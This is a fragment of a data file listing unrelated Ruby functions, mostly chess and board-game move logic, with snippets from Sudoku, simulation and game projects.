[x-1, y+2],\n [x-1, y-2],\n [x+2, y+1],\n [x+2, y-1],\n [x-2, y+1],\n [x-2, y-1] ]\n\n moveset = possible_directions.select do |d|\n (d[0].between?(0,7) & d[1].between?(0,7)) and @spaces[d].nil?\n end\n\n attackset = possible_directions.select do |d|\n (d[0].between?(0,7) & d[1].between?(0,7)) and (@spaces[d].nil?.! and @spaces[d].color != @spaces[loc].color)\n end\n\n @spaces[loc].moveset = moveset\n @spaces[loc].attackset = attackset\n\n\n when \"bishop\"\n\n runner(loc, :northeast)\n runner(loc, :southeast)\n runner(loc, :northwest)\n runner(loc, :southwest)\n\n\n when \"queen\"\n\n runner(loc, :north)\n runner(loc, :northeast)\n runner(loc, :east)\n runner(loc, :southeast)\n runner(loc, :south)\n runner(loc, :southwest)\n runner(loc, :west)\n runner(loc, :northwest)\n\n\n when \"king\"\n\n runner(loc, :north, 1)\n runner(loc, :northeast, 1)\n runner(loc, :east, 1)\n runner(loc, :southeast, 1)\n runner(loc, :south, 1)\n runner(loc, :southwest, 1)\n runner(loc, :west, 1)\n runner(loc, :northwest, 1)\n\n end\n\n\n end", "def valid_black_pawn(start,dest)\n x = start[0]; y = start[1]\n x1 = dest[0]; y1 = dest[1]\n\n pawncross = \"\"\n\n return false if black_owned(x1,y1)\n\n if x1 == x && y1 == y-1 && @b[x1][y1] == \" \"\n @b[x][y] = \" \"\n @b[x1][y1] = @BP\n if y1 == 0\n puts \"You made it to the other side! Choose: Queen 'Q' or Knight 'K'\"\n pawncross = gets.chomp\n pawncross.upcase!\n unless pawncross == \"K\" || pawncross == \"Q\"\n puts \"Please choose 'Q' for queen, or 'K' for knight\"\n pawncross = gets.chomp\n pawncross.upcase!\n end\n if pawncross == \"K\"\n @b[x1][y1] = @BK\n elsif pawncross == \"Q\"\n @b[x1][y1] = @BQ\n end\n end\n return true\n elsif x1 == x && y1 == y-2 && y == 6 && @b[x1][y1] == \" \" && @b[x][y-1] == \" \"\n @b[x][y] = \" \"\n @b[x1][y1] = @BP\n return true\n elsif x1 == x-1 && y1 == y-1 && white_owned(x1,y1)\n @white_piece.push(@b[x1][y1])\n @b[x1][y1] = @WP\n @b[x][y] = \" \"\n if y1 == 0\n puts \"You made it to the other side! Choose: Queen 'Q' or Knight 'K'\"\n pawncross = gets.chomp\n pawncross.upcase!\n unless pawncross == \"K\" || pawncross == \"Q\"\n puts \"Please choose 'Q' for queen, or 'K' for knight\"\n pawncross = gets.chomp\n pawncross.upcase!\n end\n if pawncross == \"K\"\n @b[x1][y1] = @BK\n elsif pawncross == \"Q\"\n @b[x1][y1] = @BQ\n end\n end\n return true\n elsif x1 == x+1 && y1 == y-1 && white_owned(x1,y1)\n @white_piece.push(@b[x1][y1])\n @b[x1][y1] = @BP\n @b[x][y] = \" \"\n if y1 == 0\n puts \"You made it to the other side! Choose: Queen 'Q' or Knight 'K'\"\n pawncross = gets.chomp\n pawncross.upcase!\n unless pawncross == \"K\" || pawncross == \"Q\"\n puts \"Please choose 'Q' for queen, or 'K' for knight\"\n pawncross = gets.chomp\n pawncross.upcase!\n end\n if pawncross == \"K\"\n @b[x1][y1] = @BK\n elsif pawncross == \"Q\"\n @b[x1][y1] = @BQ\n end\n end\n return true\n end\n return false\n end", "def move_pieces_with_cutoffs(player, origin_position, destination_position)\n\n move_pieces_orig(player, origin_position, destination_position)\n\n # find all spaces that contain a dvonn piece. Conceptualize these as starters of an infection.\n infected_positions = dvonn_spaces\n\n # now, find which spaces are further infected\n newly_infected = infected_positions.map{ |i| occupied_neighbors(i) }.flatten\n\n infected = infected_positions + newly_infected\n while !newly_infected.empty?\n newly_infected = newly_infected.map{ |i| occupied_neighbors(i) }.flatten - infected\n infected += newly_infected\n end\n\n # remove pieces from any spaces that are not 'infected' by dvonn's\n to_remove = occupied_positions - infected.uniq\n\n to_remove.each{ |p| space(p).clear }\n\n $LOG.info(\"Removed the following cut off spaces: #{to_remove}\") unless to_remove.empty?\n \n end", "def pre_check_legal_moves(state)\n player = state[:player]\n piece_list = state[:pieces][player]\n move_list = []\n # Loop over pieces\n piece_list.each do |piece|\n move_list += piece.legal_moves(state)\n end\n move_list\n end", "def possible_hero(king_loc, player, board)\r\n threat = offending_player(king_loc, player, board)[0]\r\n threat_loc = offending_player(king_loc, player, board)[1]\r\n attack_path = threat.calculate_path(threat_loc, king_loc)\r\n destroy_threat = []\r\n move_in_path = []\r\n board.each_with_index do |row, i|\r\n row.each_index do |j| \r\n piece = board[i][j]\r\n if !piece.nil? and piece.color == player and [i, j] != king_loc\r\n if piece.color == player\r\n destroy_threat << [i, j] if piece.valid_move([i,j], threat_loc, board)\r\n end\r\n attack_path.each do |block|\r\n if board[block[0]][block[1]].nil? \r\n move_in_path << [[i, j], block] if piece.valid_move([i,j], block, board)\r\n else\r\n move_in_path << [[i, j], block] if piece.valid_move([i,j], block, board) && board[block[0]][block[1]].color != player\r\n end\r\n end\r\n end \r\n end\r\n end \r\n possible_boards = []\r\n destroy_threat.each do |hero|\r\n possible_boards << temporary_board(hero, threat_loc)\r\n end\r\n move_in_path.each do |hero|\r\n possible_boards << temporary_board(hero[0], hero[1]) \r\n end\r\n checks = []\r\n possible_boards.each do |test_board|\r\n checks << in_check(player, test_board)\r\n end \r\n return true if checks.include? false\r\n return false\r\n end", "def remove(piece, options = {})\n if !piece.on_board?\n puts \"Piece is not on the board\"\n return false\n end\n\n piece.shape.each_with_index do |row, row_i|\n row.each_with_index do |col, col_i|\n cell(col_i + piece.x, row_i + piece.y).content = \" \"\n cell(col_i + piece.x, row_i + piece.y).piece = nil\n end\n end\n\n piece.x = nil\n piece.y = nil\n piece.on_board = false\n\n true\n end", "def build_pieces\n (1..8).each do |i|\n Pawn.new(2, i, \"white\") \n end\n Rook.new(1, 1, \"white\")\n Knight.new(1, 2, \"white\")\n Bishop.new(1, 3, \"white\")\n Queen.new(1, 4, \"white\")\n King.new(1, 5, \"white\")\n Bishop.new(1, 6, \"white\")\n Knight.new(1, 7, \"white\")\n Rook.new(1, 8, \"white\")\n (1..8).each do |i|\n Pawn.new(7, i, \"black\") \n end\n Rook.new(8, 1, \"black\")\n Knight.new(8, 2, \"black\")\n Bishop.new(8, 3, \"black\")\n Queen.new(8, 4, \"black\")\n King.new(8, 5, \"black\")\n Bishop.new(8, 6, \"black\")\n Knight.new(8, 7, \"black\")\n Rook.new(8, 8, \"black\")\n end", "def release_pieces\n @game_world.release_active\n end", "def reevaluate_board_and_eliminate\n can_continue = false\n # iteration = 0\n while can_continue ==false\n can_continue =true\n # iteration += 1\n @squares.each do |squarename|\n if @done[squarename] = false\n if @values[squarename].length <= 1\n eliminate(squarename,@values[squarename])\n @done[squarename] = true\n can_continue = false\n end\n end\n end\n end\n end", "def generate_pieces(trim: true)\n piece_matrixes = []\n\n while matrix.any? { |v| v == false }\n piece_matrix = Matrix3D.from_dimensions(width, height, depth, false)\n next_piece_index = piece_matrixes.size\n\n # Get initial position\n coords = find_initial_coordinates\n\n piece_matrix.set(*coords, true)\n # Record the piece index in the matrix. Makes it easier\n # to merge small pieces into adjacent pieces.\n matrix.set(*coords, next_piece_index)\n unblocked_positions = []\n add_new_position(unblocked_positions, coords)\n\n piece_length = 1\n\n while piece_length <= max_length && unblocked_positions.any?\n # Use the most recent block 70% of the time\n # Actually it looks much cooler if we do this 100% of the time.\n position_index = unblocked_positions.size - 1\n # if rng.rand(10) < 7\n # unblocked_positions.size - 1\n # else\n # unblocked_positions.size.times.to_a.sample(random: rng)\n # end\n position = unblocked_positions[position_index]\n # Update the available moves\n position[:available_moves] = available_moves(position[:coords], matrix)\n if position[:available_moves].empty?\n # No available moves, so delete this position\n unblocked_positions.delete_at(position_index)\n next\n end\n\n # Pick a random move\n x, y, z = position[:available_moves].sample(random: rng)\n piece_matrix.set(x, y, z, true)\n matrix.set(x, y, z, next_piece_index)\n add_new_position(unblocked_positions, [x, y, z])\n piece_length += 1\n end\n\n piece_matrixes << piece_matrix\n end\n\n # Merge small pieces into adjacent pieces\n loop do\n piece_index = piece_matrixes.find_index do |m|\n m && m.count { |v| v == true } < min_length\n end\n break unless piece_index\n\n piece_matrix = piece_matrixes[piece_index]\n\n # Choose a random piece with an adjacent block\n directions = [\n [0, 1], [1, 1], [2, 1], [0, -1], [1, -1], [2, -1]\n ]\n loop do\n raise 'Directions should never be empty!' if directions.empty?\n\n direction = directions.sample(random: rng)\n directions.delete(direction)\n\n # puts \"Direction: #{direction}\"\n\n coord = piece_matrix.find_coord { |v| v == true }.map(&:dup)\n\n # puts \"Coordinate: #{coord}\"\n\n adjacent_piece_index = piece_index\n loop do\n coord[direction[0]] += direction[1]\n # puts \"==========> #{coord}\"\n\n # Keep going until we hit the boundary\n break unless matrix.within_bounds?(*coord)\n\n adjacent_piece_index = matrix.get(*coord)\n\n # Keep going until we leave this piece\n break if adjacent_piece_index != piece_index\n end\n\n next if adjacent_piece_index == piece_index\n\n adjacent_piece = piece_matrixes[adjacent_piece_index]\n\n # Add this piece's blocks to the adjacent piece\n piece_matrix.each do |value, xa, ya, za|\n next unless value == true\n\n adjacent_piece.set(xa, ya, za, true)\n\n # Update the index in the main matrix\n matrix.set(xa, ya, za, adjacent_piece_index)\n end\n\n break\n end\n\n # Important - Don't delete the pieces! This screws up the\n # indexes in the matrix. Just set them to nil\n piece_matrixes[piece_index] = nil\n end\n\n piece_matrixes.each do |pm|\n next if pm.nil?\n\n unless trim\n pieces << [[0, 0, 0], pm]\n next\n end\n\n # Trim the matrix down to the minimum size.\n trim_result = pm.trim(true)\n\n # Use the offset as the piece position\n pieces << [trim_result[:offset], trim_result[:matrix]]\n end\n\n # binding.pry\n\n pieces\n end", "def put_black\n i = 0\n while i<=7 do\n n = Pawn.new([i,6],\"\\u265F\",false)\n put_piece(n)\n i+=1\n end\n n = Rook.new([0,7],\"\\u265C\",false)\n put_piece(n)\n n = Rook.new([7,7],\"\\u265C\",false)\n put_piece(n)\n n = Knight.new([1,7],\"\\u265E\",false)\n put_piece(n)\n n = Knight.new([6,7],\"\\u265E\",false)\n put_piece(n)\n n = Bishop.new([2,7],\"\\u265D\",false)\n put_piece(n)\n n = Bishop.new([5,7],\"\\u265D\",false)\n put_piece(n)\n n = Queen.new([3,7],\"\\u265B\",false)\n put_piece(n)\n n = King.new([4,7],\"\\u265A\",false)\n put_piece(n,true)\n end", "def kick_out\n while self.over_capacity?\n self.patrons.pop\n end\n end", "def lost?(state)\n pieces = state[:pieces]\n player = state[:player]\n # pieces[player].empty?\n king = pieces[player].find { |piece| piece.class == ChessKing }\n !king\n end", "def all_moves harmless\n\t\t# NOTE: harmless test disabled\n\t\tharmless = false\n\n\t\tmoves = {} \n\n\t\tif moved? or next_to_enemy?\n\t\t\tmoves[ :STAY ] = pos\n\t\t\treturn moves\n\t\tend\n\n\t\tlam = lambda do |dir| \n\t\t\t# Test movement of collective\n\t\t\tif can_pass? dir, false\n\t\t\t\tmoves[ dir ] = square.neighbor dir\n\t\t\tend\n\t\tend\n\n\t\t# Note that we don't bother with orientation so close to conflict\t\n\n\t\tif harmless\n\t\t\t$logger.info { \"#{ self } attackers harmless; staying is not an option\" }\n\t\telse\n\t\t\tmoves[ :STAY ] = square\n\t\tend\n\t\tlam.call :N\n\t\tlam.call :E\n\t\tlam.call :S\n\t\tlam.call :W\n\n\t\tif moves.empty?\n\t\t\t$logger.info \"We are stuck, apparently; staying anyway.\"\n\t\t\tmoves[ :STAY ] = square\n\t\tend\n\n\t\t$logger.info { \"possible moves: #{ moves }\" }\n\n\t\tmoves\n\tend", "def without_individual_blocks(options)\n piece = options[:piece]\n game = options[:game]\n board = game.board\n\n collection = clone\n\n collection.coordinates.reject! do |coordinate|\n at_position = board.at_square(coordinate.square_name) \n piece.ally?(at_position) \n end\n\n collection\n end", "def test_knights_repeat_moving_should_stalemate\n e = RulesEngine.new\n place_pieces(e, \"\n K - - N - - - -\n - - - - - - - -\n - - - - - - - -\n - - - - - - - -\n - - - - - - - -\n - - - - - - - -\n - - - - - - - -\n k - - n - - - -\n \")\n\n e.move!(D1, B2);\n e.move!(D8, B7);\n e.move!(B2, D1);\n e.move!(B7, D8);\n\n e.move!(D1, B2);\n e.move!(D8, B7);\n e.move!(B2, D1);\n e.move!(B7, D8);\n\n e.move!(D1, B2);\n e.move!(D8, B7);\n e.move!(B2, D1);\n e.move!(B7, D8);\n\n assert(e.draw?(Colour::WHITE))\n assert(e.draw?(Colour::BLACK))\n end", "def remove_plant_loops(model, runner)\n plant_loops = model.getPlantLoops\n plant_loops.each do |plant_loop|\n shw_use = false\n plant_loop.demandComponents.each do |component|\n if component.to_WaterUseConnections.is_initialized or component.to_CoilWaterHeatingDesuperheater.is_initialized\n shw_use = true\n runner.registerInfo(\"#{plant_loop.name} is used for SHW or refrigeration heat reclaim and will not be removed.\")\n break\n end\n end\n plant_loop.remove unless shw_use\n end\n return model\n end", "def all_possible_moves(pieces)\n\t\tpossible_moves = []\n\t\tpieces.each do |piece|\n\t\t\tif piece[0].type == 'pawn'\n\t\t\t\tpossible_moves << possible_pawn_moves(piece[1])\n\t\t\telsif piece[0].type == 'rook'\n\t\t\t\tpossible_moves << possible_rook_moves(piece[1])\n\t\t\telsif piece[0].type == 'bishop'\n\t\t\t\tpossible_moves << possible_bishop_moves(piece[1])\t\t\t\t\n\t\t\telsif piece[0].type == 'knight'\n\t\t\t\tpossible_moves << possible_knight_moves(piece[1])\t\t\n\t\t\telsif piece[0].type == 'queen'\n\t\t\t\tpossible_moves << possible_queen_moves(piece[1])\t\t\n\t\t\telse \n\t\t\t\tpossible_moves << possible_king_moves(piece[1])\n\t\t\tend\t\t\t\t\t\t\n\t\tend\n\t\tpossible_moves =possible_moves.flatten(1).uniq.sort\n\tend", "def overtaken(piece, start_arr, finish_arr)\n\t\tovertaken(@board[start_arr].type, start_arr, finish_arr)\n\tend", "def sweep_stairs\n turn_off\n end", "def cut_dead_trees \n @tree_array = @tree_array.select{|tree| tree.perished==false}\n puts \"Your #{\"dead trees\".red} have been removed\"\n end", "def update()\r\n\t\tto_remove = []\r\n for i in 0..@units.length-1\r\n @units[i].main()\r\n\t\t\tif @units[i].vie <= 0\r\n\t\t\t\tto_remove << @units[i]\r\n\t\t\t\t@units[i].die()\r\n\t\t\tend\r\n end\r\n\t\t@units -= to_remove\r\n end", "def unmake_move(m)\n @ply -= 1\n @mx, @mn = @mn, @mx\n @colors[m.from], @pieces[m.from] = @mx, m.piece\n @colors[m.to], @pieces[m.to] = m.target == EMPTY ? EMPTY : @mn, m.target\n @kings[@mx] = m.from if m.piece == KING\n end", "def move_piece(org,dest)\n # remove catured piece if capture move\n if (dest[0] - org[0]).abs == 2\n captured_box = [org[0] + (dest[0]-org[0])/2 , org[1] + (dest[1]-org[1])/2]\n @pieces[captured_box[0]][captured_box[1]].remove\n end\n\n @pieces[org[0]][org[1]].remove\n @pieces[dest[0]][dest[1]] = draw_piece(dest[0],dest[1],@board.state[dest[0]][dest[1]])\nend", "def trim_tree\n\t\t@corridor_seeds.each { |seed| check_branch(corridor_map[seed]) }\n\tend", "def escape_checkmate_by_kill?(color, checking_piece)\n friendly_pieces = chess_pieces.select { |piece| piece.color == color }\n friendly_pieces.any? do |piece|\n return false if piece.class == King\n valid_moves = all_valid_moves(piece.location, piece.moves)\n valid_moves.include? checking_piece.location\n end\n end", "def sweep_stairs\n climb_stair\n pick_beeper\n climb_stair\n pick_beeper\n climb_stair\n pick_beeper\n turn_off\n end", "def wipe_3x3_squares(board)\n for y in [0, 3, 6]\n for x in [0, 3, 6]\n for yy in(y...y+3)\n for xx in (x...x+3)\n if board[yy][xx][0] != 0\n wipe = board[yy][xx][0]\n for yyy in (y...y+3)\n for xxx in(x...x+3)\n board[yyy][xxx][wipe] = 0\n end\n end\n end\n end\n end\n end\n end\n return\n end", "def valid_white_rook(start,dest)\n x = start[0]; y = start[1]\n x1 = dest[0]; y1 = dest[1]\n\n xtrans = x\n ytrans = y\n\n return false if white_owned(x1,y1)\n\n #Getting the one space moves for the square around the rook\n if x1 == x+1 && y1 == y\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 == x-1 && y1 == y\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 == x && y1 == y+1\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 == x && y1 == y-1\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n end\n\n #The spaces that are +1 further away\n if x1 > x+1 && y1 == y\n while xtrans < x1-1 do\n xtrans += 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 < x-1 && y1 == y\n while xtrans > x1+1 do\n xtrans -= 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 == x && y1 > y+1\n while ytrans < y1-1 do\n ytrans += 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n elsif x1 == x && y1 < y-1\n while ytrans > y1+1 do\n ytrans -= 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @black_piece.push(@b[x1][y1]) if black_owned(x1,y1)\n @b[x][y] = \" \"\n @wht_rook_left_move = true if x == 0 && y == 0\n @wht_rook_right_move = true if x == 7 && y == 0\n @b[x1][y1] = @WR\n return true\n end\n return false\n end", "def valid_black_rook(start,dest)\n x = start[0]; y = start[1]\n x1 = dest[0]; y1 = dest[1]\n\n xtrans = x\n ytrans = y\n\n return false if black_owned(x1,y1)\n\n #Getting the one space moves for the square around the rook\n if x1 == x+1 && y1 == y\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 == x-1 && y1 == y\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 == x && y1 == y+1\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 == x && y1 == y-1\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n end\n\n #The spaces that are +1 further away\n if x1 > x+1 && y1 == y\n while xtrans < x1-1 do\n xtrans += 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 < x-1 && y1 == y\n while xtrans > x1+1 do\n xtrans -= 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 == x && y1 > y+1\n while ytrans < y1-1 do\n ytrans += 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n elsif x1 == x && y1 < y-1\n while ytrans > y1+1 do\n ytrans -= 1\n if @b[xtrans][ytrans] != \" \"\n return false #blockaded!\n end\n end\n @white_piece.push(@b[x1][y1]) if white_owned(x1,y1)\n @b[x][y] = \" \"\n @blk_rook_left_move = true if x == 0 && y == 7\n @blk_rook_right_move = true if x == 7 && y == 7\n @b[x1][y1] = @BR\n return true\n end\n return false\n end", "def update_fish\n @dead_fish.each do |dead_fish|\n if dead_fish.position.y >= FishDeathbed and rand<=DecomposeChance\n puts \"decomposed!!\"\n @dead_fish.delete(dead_fish)\n @dead_fish.compact!\n elsif dead_fish.position.y <= FishDeathbed\n dead_fish.move\n end\n end\n @fish.each do |fish|\n case fish.status\n when Idle || Turning\n unless check_walls(fish)\n look_for_food(fish)\n look_for_mate(fish) unless (fish.target or fish.sex==Female or fish.virility<200)\n end\n when Avoiding\n when Pursuing\n case fish.target\n when FishFood\n look_for_food(fish)\n when SalmonObject\n look_for_mate(fish)\n when Shark\n end\n when Dead\n @fish.delete(fish) \n @fish.compact!\n @dead_fish << fish\n return\n end\n fish.move\n end\n end", "def escape_by_kill_or_block?(danger_array)\n 8.times do |row|\n 8.times do |col|\n tile = @board[row][col]\n if tile && tile.color == @current_player.color\n danger_array.first.each do |danger_tile|\n #puts \"testing kill/block for #{tile.class} from #{row},#{col} to #{danger_tile}!!!\"\n if valid_move?([row, col], danger_tile)\n execute_hypo_move([row, col], danger_tile)\n if !check?\n puts \"We have a possible kill/block move with #{tile.class}!!!\"\n reverse_hypo_move([row, col], danger_tile)\n return true\n end\n reverse_hypo_move([row, col], danger_tile)\n end\n end\n end\n end\n end\n false\n end", "def gen_rook_moves(color, piece=:rook)\n moves = []\n if color == :white\n position = @position.white \n comrades = @position.white_pieces\n enemy = @position.black_pieces\n else\n position = @position.black\n comrades = @position.black_pieces\n enemy = @position.white_pieces\n end\n\n # no work to do when there are no pieces\n return moves if position[piece].nil?\n \n # for each piece\n position[piece].set_bits.each do |from| \n # [i,j] = current position\n i = from / 8\n j = from % 8\n\n #dirs flags which directions the piece is blocked\n dirs = 0\n for k in 1..7\n break if dirs == 0xf\n \n # try moving north\n if (dirs & 0x1) != 0x1\n to = from+k*8\n if i+k>7 || comrades.set?(to)\n # no further north moves possible\n dirs = dirs | 0x1\n else\n moves.push [Square.index(from), Square.index(to)]\n # if it's occupied by the enemy, no further north moves possible\n dirs = dirs | 0x1 if enemy.set?(to) \n end\n end\n \n # try moving south\n if (dirs & 0x2) != 0x2\n to = from-k*8\n if i<k || comrades.set?(to)\n # no further south moves possible\n dirs = dirs | 0x2\n else\n moves.push [Square.index(from), Square.index(to)]\n # if it's occupied by the enemy, no further north moves possible\n dirs = dirs | 0x2 if enemy.set?(to) \n end\n end\n \n # try moving east\n if (dirs & 0x4) != 0x4\n to = from+k\n if j+k>7 || comrades.set?(to)\n # no further east moves possible\n dirs = dirs | 0x4\n else\n moves.push [Square.index(from), Square.index(to)]\n # if it's occupied by the enemy, no further east moves possible\n dirs = dirs | 0x4 if enemy.set?(to) \n end\n end\n \n # try moving west\n if (dirs & 0x8) != 0x8\n to = from-k\n if j-k<0 || comrades.set?(to)\n # no further east moves possible\n dirs = dirs | 0x8\n else\n moves.push [Square.index(from), Square.index(to)]\n # if it's occupied by the enemy, no further west moves possible\n dirs = dirs | 0x8 if enemy.set?(to) \n end\n end \n end\n end \n moves\n end", "def do_delete\n moved = []\n # evacuate the room.\n\n if !@stuff.empty? \n moved = @stuff.dup\n moved.each do |person|\n if person.is_a?(Player)\n # send them to a safe vnum...we're going to use vnum 1\n person.go_anywhere\n end\n end\n end\n \n\n 4.times do |i|\n ex = self.exit_list[i]\n next if ex == nil\n\n log :debug, \"ex #{ex.direction} deleted\"\n\n if ex.towards_room.gri.exit_list[ex.direction.exit_code_rev] \n if ex.towards_room.gri.exit_list[ex.direction.exit_code_rev].towards_room.gri == self # if it's the same room as being deleted we delete \n ex.towards_room.gri.exit_list[ex.direction.exit_code_rev].do_delete\n end\n end\n ex.do_delete\n end\n\n moved.each do |p|\n p.execute_command(\"look\")\n end\n Tag.clear_tag(self)\n @vtag = nil\n a = @vnum / 1000\n Vnum.rooms[@vnum % 1000] = nil # unlinked from main list.\n end", "def drop_piece b, c, player\n bool = true\n row = 6;\n while bool\n if b[row][c] == \"-\"\n b[row][c] = player\n bool = false\n else\n if row > 0\n row = row-1\n else\n puts \"Uh oh, that Row is FULL! Try again.\"\n bool = false\n end\n end\n end\n print_board b\n if check_win b, player\n puts \"Congratulations, player #{player} WINS!\"\n exit\n end\n return b\nend", "def test_check_calculate_white_pawn_move\n e = RulesEngine.new\n place_pieces(e, \"\n - - - - - - - - \n - - - - - K - -\n - - - - - - - - \n k - - - - - - - \n - - - - - - - - \n - - - p - - - - \n - - - - - - - - \n - - - - - - - -\n \")\n expected = \"\n - - - - - - - - \n - - - - - - - - \n - - - - - - - - \n - - - - - - - -\n - - - @ - - - - \n - - - - - - - - \n - - - - - - - - \n - - - - - - - - \n \"\n assert_move_state(e, expected, D3);\n end", "def battle(trainer_collection,enemy_collection)\n keep_fighting = true\n # Create copies of collections, as we remove elements\n trainer_collection = trainer_collection.collect{|k| k }\n enemy_collection = enemy_collection.collect{|k| k }\n \n while trainer_collection.any? && enemy_collection.any? && keep_fighting\n puts \"You have #{trainer_collection.length} kudomon ready to fight.\"\n # Select random kudomon from collections to fight each other\n trainer_kudomon = trainer_collection.sample\n enemy_kudomon = enemy_collection.sample\n # Remove losing kudomon from collection\n if kudomon_battle(trainer_kudomon,enemy_kudomon)\n enemy_collection.delete(enemy_kudomon)\n else\n trainer_collection.delete(trainer_kudomon)\n end\n \n if trainer_collection.any? && enemy_collection.any?\n puts \"Do you want to keep fighting? Y/N\"\n unless gets.chomp.capitalize == \"Y\"\n keep_fighting = false\n puts \"You run away.\"\n return RUN_AWAY\n end\n elsif trainer_collection.empty?\n puts \"You lost.\"\n return LOSS\n else\n puts \"You won! Awesome!\"\n return VICTORY\n end\n end\nend", "def clear_dead_pokemon\n dead_condition = proc { |pokemon| pokemon.hp <= 0 }\n # List all the items from dead Pokemon\n item_ids = $actors.select(&dead_condition).map(&:item_hold)\n # Add items back to the bag\n item_ids.each { |item_id| $bag.add_item(item_id, 1) if item_id >= 0 }\n # Storing Pokemon that are dead\n graveyard.concat($actors.select(&dead_condition))\n # Remove Pokemon from the party\n $actors.delete_if(&dead_condition)\n end", "def long_castling?(rook)\n return false unless rook.instance_of?(Rook)\n\n king = rook.COLOR == 'black' ? board[0][4].piece : board[7][4].piece\n return false unless king.instance_of?(King)\n\n og_pos = king.position\n color = rook.COLOR == 'black' ? 'white' : 'black'\n pieces = get_pieces_by_color(color)\n result = nil\n\n # Return false if kign and rook have move, the square between them aren't empty and king is in check\n\n return false if !king.number_of_move.zero? || !rook.number_of_move.zero? || king.check?(pieces) || !board[king.position[0]][king.position[1] - 1].piece.nil? || !board[king.position[0]][king.position[1] - 2].piece.nil?\n\n # This loop check that any piece can move to the square between rook and king. Move king temporaly.\n\n 1.upto(2) do |num|\n\n board[og_pos[0]][og_pos[1] - num].piece = king\n board[og_pos[0]][og_pos[1] - num].piece.position = [og_pos[0], og_pos[1] - num]\n update_possible_movement_all_pieces()\n\n result = board[king.position[0]][king.position[1]].piece.check?(pieces)\n board[king.position[0]][king.position[1]].piece = nil\n \n break if result\n end\n\n # Restore king to his original position\n\n board[og_pos[0]][og_pos[1]].piece.position = og_pos\n update_possible_movement_all_pieces()\n\n !result\n end", "def cleanup_board(board)\n for y in (0...9)\n for x in (0...9)\n assign = 0\n for p in (1...10)\n if board[y][x][p] != 0 \n if assign == 0\n assign = board[y][x][p]\n else\n assign = 0\n break\n end\n end\n end\n if assign != 0 and board[y][x][0] == 0\n board[y][x][0] = assign\n for p in (1...10)\n board[y][x][p] = 0\n end\n end\n end\n end\n return\n end", "def valid_squares(move_array, piece)\n new_move_array = []\n move_array.each do |direction_array|\n # check coords on board\n direction_array.select! { |coord| (coord[0].between?(0, 7) && coord[1].between?(0, 7)) }\n # valid moves blocked by pieces and add valid attack squares\n direction_array.each do |move_square|\n square = @board_obj.board[move_square[0]][move_square[1]]\n\n if piece.instance_of?(Pawn)\n # case for pawn side takes\n if piece.position[1] != move_square[1]\n if square != \" \"\n new_move_array << move_square if square.colour != piece.colour\n elsif enpassant_square(move_square)\n new_move_array << move_square\n end\n break\n # case if piece in way \n elsif square != \" \"\n break\n end\n\n elsif square != \" \"\n new_move_array << move_square if square.colour != piece.colour\n break\n end\n new_move_array << move_square\n end\n end\n new_move_array\n end", 